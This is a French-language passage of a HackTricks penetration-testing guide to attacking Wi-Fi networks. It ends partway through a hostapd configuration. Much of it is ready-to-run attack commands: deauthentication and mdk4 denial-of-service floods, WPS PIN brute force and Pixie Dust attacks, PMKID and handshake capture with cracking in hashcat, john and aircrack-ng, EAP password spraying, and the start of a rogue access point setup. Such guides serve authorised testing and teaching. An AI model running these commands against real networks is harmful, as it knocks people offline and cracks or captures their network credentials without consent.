.. | ||
evil-twin-eap-tls.md | ||
README.md |
Pentesting Wifi
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lisez les tutoriels de bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes de bugs
💬 Participez aux discussions de la communauté
Commandes de base Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
Outils
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
Airgeddon est un script Bash utilisé pour auditer les réseaux sans fil. Il est conçu pour être utilisé avec Kali Linux et peut être utilisé pour effectuer des attaques de force brute, des attaques de dictionnaire, des attaques Evil Twin, des attaques de phishing, des attaques de déni de service, des attaques de falsification de paquets, des attaques de répétition de paquets, des attaques de déconnexion, des attaques de capture de poignée de main WPA/WPA2, et bien plus encore. Airgeddon est un outil très puissant pour les tests de pénétration des réseaux sans fil.
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Exécuter airgeddon avec docker
Vous pouvez exécuter airgeddon dans un conteneur Docker pour éviter d'installer les dépendances nécessaires sur votre système hôte. Pour ce faire, vous devez d'abord installer Docker sur votre système. Ensuite, vous pouvez créer un conteneur Docker pour airgeddon en utilisant le fichier Dockerfile fourni dans le référentiel airgeddon.
Une fois que vous avez créé le conteneur Docker, vous pouvez exécuter airgeddon en utilisant la commande docker run
. Assurez-vous de monter le répertoire de sortie de airgeddon sur votre système hôte afin de pouvoir accéder aux fichiers de sortie générés par airgeddon.
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modèle de phishing pour obtenir le vrai mot de passe du réseau ou capturer les informations d'identification des réseaux sociaux.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Cet outil automatise les attaques WPS/WEP/WPA-PSK. Il effectuera automatiquement les actions suivantes :
- Mettre l'interface en mode monitor
- Scanner les réseaux possibles - Et vous permettre de sélectionner la ou les victimes
- Si WEP - Lancer des attaques WEP
- Si WPA-PSK
- Si WPS : Attaque Pixie Dust et attaque de force brute (soyez prudent, l'attaque de force brute peut prendre beaucoup de temps). Notez qu'elle n'essaie pas les PIN null ou les PIN générés à partir de la base de données.
- Essayer de capturer le PMKID de l'AP pour le casser
- Essayer de déconnecter les clients de l'AP pour capturer une poignée de main
- Si PMKID ou Handshake, essayer de casser en utilisant les 5000 meilleurs mots de passe.
Résumé des attaques
- DoS
- Déconnexion/dissociation -- Déconnecter tout le monde (ou un ESSID/Client spécifique)
- Faux AP aléatoires -- Cacher les réseaux, possible de faire planter les scanners
- Surcharge de l'AP -- Essayer de tuer l'AP (généralement pas très utile)
- WIDS -- Jouer avec l'IDS
- TKIP, EAPOL -- Quelques attaques spécifiques pour DoS certains APs
- Cassage
- Casser WEP (plusieurs outils et méthodes)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID bruteforce
- [DoS +] Capture de poignée de main WPA + Cassage
- WPA-MGT
- Capture de nom d'utilisateur
- Bruteforce des informations d'identification
- Evil Twin (avec ou sans DoS)
- Open Evil Twin [+ DoS] -- Utile pour capturer les informations d'identification du portail captif et/ou effectuer des attaques LAN
- WPA-PSK Evil Twin -- Utile pour les attaques réseau si vous connaissez le mot de passe
- WPA-MGT -- Utile pour capturer les informations d'identification de l'entreprise
- KARMA, MANA, Loud MANA, Beacon connu
- + Open -- Utile pour capturer les informations d'identification du portail captif et/ou effectuer des attaques LAN
- + WPA -- Utile pour capturer les poignées de main WPA
DOS
Paquets de déconnexion
La façon la plus courante de réaliser ce type d'attaque est avec des paquets de déconnexion. Il s'agit d'un type de trame "management" responsable de déconnecter un appareil d'un point d'accès. La falsification de ces paquets est la clé pour pirater de nombreux réseaux Wi-Fi, car vous pouvez déconnecter de force n'importe quel client du réseau à tout moment. La facilité avec laquelle cela peut être fait est quelque peu effrayante et est souvent fait dans le cadre de la collecte d'une poignée de main WPA pour la casser.
Outre l'utilisation momentanée de cette déconnexion pour collecter une poignée de main à casser, vous pouvez également laisser ces déconnexions continuer, ce qui a pour effet de bombarder le client avec des paquets de déconnexion apparemment du réseau auquel il est connecté. Comme ces trames ne sont pas chiffrées, de nombreux programmes en profitent en les falsifiant et en les envoyant à un ou à tous les appareils d'un réseau.
Description provenant de ici.
Déconnexion en utilisant Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 signifie déauthentification
- 1 est le nombre de déauthentifications à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez); 0 signifie les envoyer en continu
- -a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accès
- -c 00:0F:B5:34:30:30 est l'adresse MAC du client à déauthentifier; si cela est omis, une déauthentification de diffusion est envoyée (ne fonctionne pas toujours)
- ath0 est le nom de l'interface
Paquets de désassociation
Les paquets de désassociation sont un autre type de trame de gestion qui est utilisé pour déconnecter un nœud (ce qui signifie tout appareil comme un ordinateur portable ou un téléphone portable) d'un point d'accès à proximité. La différence entre les trames de déauthentification et de désassociation réside principalement dans la manière dont elles sont utilisées.
Un point d'accès cherchant à déconnecter un périphérique malveillant enverrait une trame de déauthentification pour informer le périphérique qu'il a été déconnecté du réseau, tandis qu'une trame de désassociation est utilisée pour déconnecter tous les nœuds lorsque le point d'accès est mis hors tension, redémarré ou quitte la zone.
Description de ici.
Cette attaque peut être effectuée par mdk4(mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Plus d'attaques DOS par mdk4
À partir de ici.
MODE D'ATTAQUE b: Inondation de balises
Envoie des trames de balises pour montrer de faux points d'accès aux clients. Cela peut parfois faire planter les scanners de réseau et même les pilotes !
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
MODE D'ATTAQUE a: Déni de service d'authentification
Envoie des trames d'authentification à tous les points d'accès (AP) trouvés dans la plage. Trop de clients peuvent bloquer ou réinitialiser plusieurs AP.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
MODE D'ATTAQUE p: Exploration et Bruteforce de SSID
Explore les points d'accès et vérifie s'il y a une réponse, utile pour vérifier si le SSID a été correctement démasqué et si le point d'accès est dans votre plage d'envoi. Le bruteforce des SSID cachés avec ou sans liste de mots est également disponible.
MODE D'ATTAQUE m: Exploitation des contre-mesures de Michael
Envoie des paquets aléatoires ou réinjecte des doublons sur une autre file QoS pour provoquer les contre-mesures de Michael sur les points d'accès TKIP. Le point d'accès sera alors hors service pendant une minute entière, ce qui en fait une attaque DoS efficace.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
MODE D'ATTAQUE e: Injection de paquets EAPOL Start et Logoff
Inonde un point d'accès avec des trames de démarrage EAPOL pour le maintenir occupé avec des sessions fictives et ainsi l'empêcher de gérer des clients légitimes. Ou déconnecte les clients en injectant de faux messages de déconnexion EAPOL.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
MODE D'ATTAQUE s: Attaques pour les réseaux maillés IEEE 802.11s
Diverses attaques sur la gestion des liens et le routage dans les réseaux maillés. Inonder les voisins et les routes, créer des trous noirs et détourner le trafic !
MODE D'ATTAQUE w: Confusion WIDS
Confondre/Abuser les systèmes de détection et de prévention d'intrusion en connectant les clients à plusieurs nœuds WDS ou à de faux points d'accès malveillants.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
MODE D'ATTAQUE f: Fuzzer de paquets
Un simple fuzzer de paquets avec plusieurs sources de paquets et un ensemble intéressant de modificateurs. Soyez prudent !
Airggedon
Airgeddon offre la plupart des attaques proposées dans les commentaires précédents :
WPS
WPS signifie Wi-Fi Protected Setup. C'est une norme de sécurité de réseau sans fil qui essaie de rendre les connexions entre un routeur et des appareils sans fil plus rapides et plus faciles. WPS ne fonctionne que pour les réseaux sans fil qui utilisent un mot de passe qui est crypté avec les protocoles de sécurité WPA Personnel ou WPA2 Personnel. WPS ne fonctionne pas sur les réseaux sans fil qui utilisent la sécurité WEP obsolète, qui peut être facilement craquée par n'importe quel pirate avec un ensemble de outils et de compétences de base. (De ici)
WPS utilise un code PIN de 8 chiffres pour permettre à un utilisateur de se connecter au réseau, mais les 4 premiers chiffres sont d'abord vérifiés et, s'ils sont corrects, les 4 chiffres suivants sont vérifiés. Ensuite, il est possible de faire une attaque de force brute sur la première moitié, puis sur la seconde moitié (seulement 11000 possibilités).
Brute-Force WPS
Il existe 2 outils principaux pour effectuer cette action : Reaver et Bully.
- Reaver a été conçu pour être une attaque robuste et pratique contre WPS, et a été testé contre une grande variété de points d'accès et d'implémentations WPS.
- Bully est une nouvelle implémentation de l'attaque de force brute WPS, écrite en C. Il présente plusieurs avantages par rapport au code reaver original : moins de dépendances, des performances mémoire et CPU améliorées, une manipulation correcte de l'endianness et un ensemble d'options plus robuste.
Cette attaque profite d'une faiblesse dans le code PIN WPS à huit chiffres ; en raison de ce problème, le protocole divulgue des informations sur les quatre premiers chiffres du PIN, et le dernier chiffre sert de checksum, ce qui rend facile le brute forcing de l'AP WPS.
Notez que certains appareils incluent des protections contre la force brute, qui bloquent généralement les adresses MAC qui tentent de lancer des attaques de manière répétée. Dans ce cas, la complexité de cette attaque augmente, car vous devrez faire tourner les adresses MAC tout en testant les PIN.
Si le code WPS valide est trouvé, Bully et Reaver l'utiliseront pour découvrir la clé PSK WPA/WPA2 utilisée pour protéger le réseau, vous pourrez donc vous connecter à tout moment où vous en avez besoin.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute force
Au lieu de commencer à essayer chaque PIN possible, vous devriez vérifier s'il existe des PINs découverts pour l'AP que vous attaquez (en fonction du MAC du fabricant) et les PINs générés par le logiciel PIN.
- La base de données des PINs connus est faite pour les points d'accès de certains fabricants pour lesquels il est connu qu'ils utilisent les mêmes PINs WPS. Cette base de données contient les trois premiers octets des adresses MAC et une liste de PIN correspondants qui sont très probablement pour ce fabricant.
- Il existe plusieurs algorithmes pour générer des PINs WPS. Par exemple, ComputePIN et EasyBox utilisent l'adresse MAC du point d'accès dans leurs calculs. Mais l'algorithme Arcadyan nécessite également un identifiant de périphérique.
Attaque WPS Pixie Dust
Dominique Bongard a découvert que certains AP ont des moyens faibles de générer des nonces (connus sous le nom de E-S1 et E-S2) qui sont censés être secrets. Si nous sommes capables de comprendre ce que sont ces nonces, nous pouvons facilement trouver le PIN WPS d'un AP puisque l'AP doit nous le donner dans un hash afin de prouver qu'il connaît également le PIN, et que le client ne se connecte pas à un AP malveillant. Ces E-S1 et E-S2 sont essentiellement les "clés pour déverrouiller la boîte de verrouillage" contenant le PIN WPS. Plus d'informations ici: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
Essentiellement, certaines implémentations ont échoué dans l'utilisation de clés aléatoires pour chiffrer les 2 parties du PIN (car il est décomposé en 2 parties pendant la communication d'authentification et envoyé au client), de sorte qu'une attaque hors ligne pourrait être utilisée pour forcer le PIN valide.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Attaque Null Pin
Certaines implémentations vraiment mauvaises permettent la connexion avec un code PIN nul (très étrange aussi). Reaver peut tester cela (Bully ne le peut pas).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Toutes les attaques WPS proposées peuvent être facilement effectuées en utilisant airgeddon.
- 5 et 6 vous permettent d'essayer votre propre PIN (si vous en avez un)
- 7 et 8 effectuent l'attaque Pixie Dust
- 13 vous permet de tester le PIN NULL
- 11 et 12 vont récupérer les PINs liés à l'AP sélectionné à partir des bases de données disponibles et générer des PINs possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
- 9 et 10 vont tester tous les PINs possibles
WEP
Tellement obsolète et disparu que je ne vais pas en parler. Sachez simplement que airgeddon a une option WEP appelée "All-in-One" pour attaquer ce type de protection. Plusieurs outils offrent des options similaires.
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lire les tutoriels de bugs web3
🔔 Recevoir des notifications sur les nouveaux programmes de primes pour bugs
💬 Participer aux discussions de la communauté
WPA/WPA2 PSK
PMKID
En 2018, les auteurs de hashcat ont dévoilé un nouveau type d'attaque qui ne repose pas seulement sur un seul paquet, mais qui ne nécessite pas non plus que des clients soient connectés à notre AP cible, mais seulement une communication entre l'attaquant et l'AP.
Il s'avère que beaucoup de routeurs modernes ajoutent un champ facultatif à la fin du premier cadre EAPOL envoyé par l'AP lui-même lorsqu'une personne s'associe, le soi-disant Robust Security Network
, qui inclut quelque chose appelé PMKID
.
Comme expliqué dans le post original, le PMKID est dérivé en utilisant des données qui nous sont connues :
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Puisque la chaîne "PMK Name" est constante, nous connaissons à la fois le BSSID de l'AP et de la station et le PMK
est le même que celui obtenu à partir d'une poignée de main complète à 4 voies, c'est tout ce dont hashcat a besoin pour craquer le PSK et récupérer la phrase secrète!
Description obtenue à partir de ici.
Pour recueillir ces informations et forcer localement le mot de passe, vous pouvez faire:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Les PMKIDs capturés seront affichés dans la console et également enregistrés dans _ /tmp/attack.pcap_
Maintenant, convertissez la capture au format hashcat/john et craquez-la :
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Veuillez noter que le format correct d'un hachage contient 4 parties, comme ceci : 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__Si le vôtre ne contient que 3 parties, alors il est invalide (la capture PMKID n'était pas valide).
Notez que hcxdumptool
capture également les poignées de main (quelque chose comme ceci apparaîtra : MP:M1M2 RC:63258 EAPOLTIME:17091
). Vous pouvez transformer les poignées de main en format hashcat/john en utilisant cap2hccapx
.
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
J'ai remarqué que certaines poignées de main capturées avec cet outil ne pouvaient pas être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer des poignées de main également de manière traditionnelle si possible, ou de capturer plusieurs d'entre elles en utilisant cet outil.
Capture de poignée de main
Une façon d'attaquer les réseaux WPA/WPA2 est de capturer une poignée de main et d'essayer de craquer le mot de passe utilisé hors ligne. Pour ce faire, vous devez trouver le BSSID et le canal du réseau de la victime, ainsi qu'un client connecté au réseau.
Une fois que vous avez ces informations, vous devez commencer à écouter toutes les communications de ce BSSID dans ce canal, car avec un peu de chance, la poignée de main y sera envoyée :
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
Maintenant, vous devez déauthentifier le client pendant quelques secondes afin qu'il s'authentifie automatiquement à nouveau sur le point d'accès (veuillez lire la partie sur les attaques DoS pour trouver plusieurs façons de déauthentifier un client) :
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
Notez que lorsque le client est déauthentifié, il peut essayer de se connecter à un autre point d'accès ou, dans d'autres cas, à un autre réseau.
Une fois que des informations de poignée de main apparaissent dans airodump-ng
, cela signifie que la poignée de main a été capturée et vous pouvez arrêter d'écouter :
Une fois la poignée de main capturée, vous pouvez la craquer avec aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Vérifier si la poignée de main est dans le fichier
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark
est un outil en ligne de commande qui permet de capturer et d'analyser le trafic réseau. Il est très utile pour l'analyse de paquets et la détection de problèmes de réseau. tshark
est une alternative à wireshark
pour les utilisateurs qui préfèrent travailler en ligne de commande.
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty est un outil de craquage de mot de passe prévu pour les réseaux sans fil. Il utilise une attaque par dictionnaire pour casser les mots de passe WPA/WPA2-PSK.
cowpatty -r psk-01.cap -s "ESSID" -f -
Si cet outil trouve une poignée de main non terminée d'un ESSID avant celle qui est terminée, il ne détectera pas celle qui est valide.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Il est important de parler des différentes méthodes d'authentification qui pourraient être utilisées par un Wifi d'entreprise. Pour ce type de Wifi, vous trouverez probablement dans airodump-ng
quelque chose comme ceci:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP (Extensible Authentication Protocol) est le cœur de la communication d'authentification. Au-dessus de cela, un algorithme d'authentification est utilisé par le serveur pour authentifier le client (supplicant) et, dans certains cas, par le client pour authentifier le serveur. Les principaux algorithmes d'authentification utilisés dans ce cas sont :
- EAP-GTC : est une méthode EAP pour prendre en charge l'utilisation de jetons matériels et de mots de passe à usage unique avec EAP-PEAP. Son implémentation est similaire à MSCHAPv2, mais n'utilise pas de challenge pair. Au lieu de cela, les mots de passe sont envoyés au point d'accès en texte clair (très intéressant pour les attaques de rétrogradation).
- EAP-MD-5 (Message Digest) : le client envoie le hachage MD5 du mot de passe. Non recommandé : vulnérable aux attaques par dictionnaire, pas d'authentification du serveur et pas de moyen de générer des clés de confidentialité équivalentes au câble (WEP) par session.
- EAP-TLS (Transport Layer Security) : il repose sur des certificats côté client et côté serveur pour effectuer l'authentification et peut être utilisé pour générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications ultérieures.
- EAP-TTLS (Tunneled Transport Layer Security) : authentification mutuelle du client et du réseau via un canal (ou tunnel) chiffré, ainsi qu'un moyen de dériver des clés WEP dynamiques, par utilisateur et par session. Contrairement à EAP-TLS, EAP-TTLS ne nécessite que des certificats côté serveur (le client utilisera des informations d'identification).
- PEAP (Protected Extensible Authentication Protocol) : PEAP est comme le protocole EAP, mais crée un tunnel TLS pour protéger la communication. Ensuite, des protocoles d'authentification faibles peuvent être utilisés sur EAP car ils seront protégés par le tunnel.
- PEAP-MSCHAPv2 : cela est également connu sous le nom de PEAP car il est largement adopté. Il s'agit simplement de la vulnérable réponse/challenge appelée MSCHAPv2 sur PEAP (elle est protégée par le tunnel TLS).
- PEAP-EAP-TLS ou simplement PEAP-TLS : est très similaire à EAP-TLS, mais un tunnel TLS est créé avant l'échange de certificats.
Vous pouvez trouver plus d'informations sur ces méthodes d'authentification ici et ici.
Capture d'identifiants
En lisant https://tools.ietf.org/html/rfc3748#page-27, il semble que si vous utilisez EAP, les messages "Identity" doivent être pris en charge, et le nom d'utilisateur sera envoyé en clair dans les messages "Response Identity".
Même en utilisant l'une des méthodes d'authentification les plus sécurisées : PEAP-EAP-TLS, il est possible de capturer le nom d'utilisateur envoyé dans le protocole EAP. Pour ce faire, capturez une communication d'authentification (démarrez airodump-ng
dans un canal et wireshark
dans la même interface) et filtrez les paquets par eapol
. Dans le paquet "Response, Identity", le nom d'utilisateur du client apparaîtra.
Identités anonymes
(Les informations proviennent de https://www.interlinknetworks.com/app_notes/eap-peap.htm)
EAP-PEAP et EAP-TTLS prennent en charge la dissimulation d'identité. Dans un environnement WiFi, le point d'accès (AP) génère généralement une demande d'identité EAP dans le cadre du processus d'association. Pour préserver l'anonymat, le client EAP sur le système de l'utilisateur peut répondre avec suffisamment d'informations pour permettre au premier serveur RADIUS de saut de traiter la demande, comme le montrent les exemples suivants.
- EAP-Identity = anonymous
Dans cet exemple, tous les utilisateurs partageront le pseudo-nom d'utilisateur "anonymous". Le premier serveur RADIUS est un serveur EAP-PEAP ou EAP-TTLS qui pilote l'extrémité serveur du protocole PEAP ou TTLS. Le type d'authentification interne (protégé) sera alors géré localement ou relayé vers un serveur RADIUS distant (domicile).
- EAP-Identity = anonymous@realm_x
Dans cet exemple, les utilisateurs appartenant à différents domaines masquent leur propre identité mais indiquent à quel domaine ils appartiennent afin que le premier serveur RADIUS de saut puisse relayer les demandes EAP-PEAP ou EAP-TTLS vers des serveurs RADIUS dans leurs domaines d'origine qui agiront en tant que serveur PEAP ou TTLS. Le premier serveur de saut agit purement comme un nœud de relais RADIUS.
Alternativement, le premier serveur de saut peut agir en tant que serveur EAP-PEAP ou EAP-TTLS et traiter lui-même la méthode d'authentification protégée ou la relayer vers un autre serveur. Cette option peut être utilisée pour configurer différentes politiques pour différents domaines.
Dans EAP-PEAP, une fois que le serveur PEAP et le client PEAP établissent le tunnel TLS, le serveur PEAP génère une demande d'identité EAP et la transmet dans le tunnel TLS. Le client répond à cette deuxième demande d'identité EAP en envoyant une réponse d'identité EAP contenant la véritable identité de l'utilisateur dans le tunnel chiffré. Cela empêche quiconque écoutant le trafic 802.11 de découvrir la véritable identité de l'utilisateur.
EAP-TTLS fonctionne légèrement différemment. Avec EAP-TTLS, le client s'authentifie généralement via PAP ou CHAP protégé par le tunnel TLS. Dans ce cas, le client inclura un attribut User-Name et soit un attribut Password, soit un attribut CHAP-Password dans le premier message TLS envoyé après l'établissement du tunnel.
Avec l'un ou l'autre protocole, le serveur PEAP/TTLS apprend la véritable identité de l'utilisateur une fois que le tunnel TLS a été établi. La véritable identité peut être sous la forme de l'utilisateur@domaine ou simplement de l'utilisateur. Si le serveur PEAP/TTLS authentifie également l'utilisateur, il connaît maintenant l'identité de l'utilisateur et procède à la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transmettre une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS a le protocole PEAP ou TTLS supprimé. Si la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine de l'utilisateur sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la véritable identité de l'utilisateur - pas l'identité anonyme de l'attribut User-Name de la demande RADIUS entrante. Si la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs d'authentification User-Name et autres récupérés à partir de la charge utile TLS sont placés dans le message RADIUS sortant à la place de l'attribut User-Name anonyme et des attributs EAP-Message TTLS inclus dans la demande RADIUS entrante.
EAP-Bruteforce (password spray)
Si le client est censé utiliser un nom d'utilisateur et un mot de passe (remarquez que EAP-TLS ne sera pas valide dans ce cas), vous pouvez essayer d'obtenir une liste de noms d'utilisateur (voir la partie suivante) et de mots de passe et essayer de forcer l'accès en utilisant air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Vous pouvez également effectuer cette attaque en utilisant eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Théorie des attaques client
Sélection de réseau et itinérance
Bien que le protocole 802.11 ait des règles très spécifiques qui dictent comment une station peut rejoindre un ESS, il ne spécifie pas comment la station doit sélectionner un ESS auquel se connecter. De plus, le protocole permet aux stations de se déplacer librement entre les points d'accès qui partagent le même ESSID (car vous ne voudriez pas perdre la connectivité WiFi en marchant d'une extrémité d'un bâtiment à l'autre, etc.). Cependant, le protocole 802.11 ne spécifie pas comment ces points d'accès doivent être sélectionnés. De plus, même si les stations doivent être authentifiées à l'ESS pour s'associer à un point d'accès, le protocole 802.11 ne nécessite pas que le point d'accès soit authentifié à la station.
Listes de réseaux préférés (PNL)
Chaque fois qu'une station se connecte à un réseau sans fil, l'ESSID du réseau est stocké dans la liste de réseaux préférés (PNL) de la station. La PNL est une liste ordonnée de tous les réseaux auxquels la station s'est connectée dans le passé, et chaque entrée de la PNL contient l'ESSID du réseau et toutes les informations de configuration spécifiques au réseau nécessaires pour établir une connexion.
Balayage passif
Dans les réseaux d'infrastructure, les points d'accès transmettent périodiquement des trames de balise pour annoncer leur présence et leurs capacités aux stations à proximité. Les balises sont des trames diffusées, ce qui signifie qu'elles sont destinées à être reçues par toutes les stations à proximité dans la plage. Les balises incluent des informations sur les taux pris en charge par l'AP, les capacités de chiffrement, des informations supplémentaires, et surtout, les trames de balise contiennent l'ESSID de l'AP (tant que la diffusion de l'ESSID n'est pas désactivée).
Lors du balayage passif, le dispositif client écoute les trames de balise des points d'accès à proximité. Si le dispositif client reçoit une trame de balise dont le champ ESSID correspond à un ESSID de la PNL du client, le client se connectera automatiquement au point d'accès qui a envoyé la trame de balise. Ensuite, supposons que nous voulions cibler un dispositif sans fil qui n'est actuellement connecté à aucun sans fil. Si nous connaissons au moins une entrée dans la PNL de ce client, nous pouvons forcer le client à se connecter à nous simplement en créant notre propre point d'accès avec l'ESSID de cette entrée.
Exploration active
Le deuxième algorithme de sélection de réseau utilisé dans 802.11 est connu sous le nom d'exploration active. Les dispositifs clients qui utilisent l'exploration active transmettent continuellement des trames de demande de sondage pour déterminer quels AP sont à portée, ainsi que leurs capacités. Les demandes de sondage se présentent sous deux formes : adressées et diffusées. Les demandes de sondage adressées sont adressées à un ESSID spécifique, et c'est la façon dont le client vérifie si un réseau spécifique est à proximité.
Les clients qui utilisent l'exploration adressée enverront des demandes de sondage pour chaque réseau de leur PNL. Il convient de noter que l'exploration adressée est le seul moyen d'identifier la présence de réseaux cachés à proximité. Les demandes de sondage diffusées fonctionnent presque exactement de la même manière, mais sont envoyées avec le champ SSID défini sur NULL. Cela adresse la demande de sondage à tous les points d'accès à proximité, permettant à la station de vérifier si l'un de ses réseaux préférés est à proximité sans révéler le contenu de sa PNL.
Simple point d'accès avec redirection vers Internet
Avant d'expliquer comment effectuer des attaques plus complexes, il va être expliqué comment simplement créer un point d'accès et rediriger son trafic vers une interface connectée à Internet.
En utilisant ifconfig -a
, vérifiez que l'interface wlan pour créer le point d'accès et l'interface connectée à Internet sont présentes.
DHCP et DNS
apt-get install dnsmasq #Manages DHCP and DNS
Créez un fichier de configuration /etc/dnsmasq.conf comme suit :
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Ensuite, définissez les adresses IP et les routes :
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
Et ensuite démarrer dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
Description
hostapd
est un démon qui implémente le protocole d'accès au réseau sans fil IEEE 802.11. Il peut être utilisé pour créer un point d'accès sans fil ou pour authentifier les clients sans fil à un réseau existant.
Installation
sudo apt-get install hostapd
Configuration
La configuration de hostapd
se fait via le fichier /etc/hostapd/hostapd.conf
. Voici un exemple de configuration pour un point d'accès sans fil WPA2-PSK :
interface=wlan0
driver=nl80211
